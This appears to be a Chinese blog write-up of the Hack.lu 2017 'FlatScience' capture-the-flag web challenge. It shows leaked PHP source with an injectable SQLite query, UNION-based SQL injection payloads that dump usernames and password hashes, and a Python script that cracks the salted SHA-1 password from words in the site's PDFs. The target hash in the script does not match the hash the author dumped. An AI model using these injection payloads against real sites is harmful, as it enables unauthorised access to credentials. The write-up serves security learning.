[wp] Hack.lu 2017 FlatScience

进去就是页面跳来跳去emmm,先扫个目录好了:
在这里插入图片描述
扫到一个login.php,查看源码,发现参数debug,传参?debug=1,得到如下代码:

<?php 
if(isset($_POST['usr']) && isset($_POST['pw'])){ 
        $user = $_POST['usr']; 
        $pass = $_POST['pw']; 

        $db = new SQLite3('../fancy.db'); 
         
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'"); 
    if($res){ 
        $row = $res->fetchArray(); 
    } 
    else{ 
        echo "<br>Some Error occourred!"; 
    } 

    if(isset($row['id'])){ 
            setcookie('name',' '.$row['name'], time() + 60, '/'); 
            header("Location: /"); 
            die(); 
    } 

} 

if(isset($_GET['debug'])) 
highlight_file('login.php'); 
?> 

注意这里是sqlite数据库,我一开始以为是mysql爆了半天啥都没有…
usr=’ union select name, name from sqlite_master where type=‘table’–&pw=222

在这里插入图片描述

usr=' union SELECT sql,sql FROM sqlite_master WHERE tbl_name = 'Users' and type = 'table'--+&pw=222

在这里插入图片描述
接下来开始查字段:

usr=' union select id, id from Users limit 1,1 --1
usr=' union select name, name from Users limit 1,1 --admin
usr=' union select pass, word from Users limit 1,1 --34b0bb7c304949f9ff2fc101eef0f048be10d3bd
usr=' union select hint, hint from Users limit 1,1 -- my fav word in my fav paper?!

改成limit 2,1就能查id为2的用户,最后一共3个用户,我也就不列出来了,
这里的提示应该是说在fav paper中找到一个词+Salz之后sha1得到的值为34b0bb7c304949f9ff2fc101eef0f048be10d3bd,
那首先要找到fav paper,不然就干脆每篇文章都搞过去
看了一会儿文章我表示放弃…
决定写个脚本把pdf里面的词都提出来,
先用wget把pdf down下来:

wget ip -r -np -nd -A .pdf

一共30篇.
这里借用网上大佬的脚本:

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
 
def get_pdf():
	return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
	pdf_path = get_pdf()
	for i in pdf_path:
		print "Searching word in " + i
		pdf_text = convert_pdf_2_text(i).split(" ")
		for word in pdf_text:
			sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
			if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
				print "Find the password :" + word
				exit()
 
if __name__ == "__main__":
	find_password()

得到密码为ThinJerboa,登陆admin.php,得到flag
在这里插入图片描述
emmm,在攻防世界上看到这题,难度是1星,就想顺手做了,这尼玛是1星???
好吧,其实总体的思路也不难,就是有一点耗费时间,

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值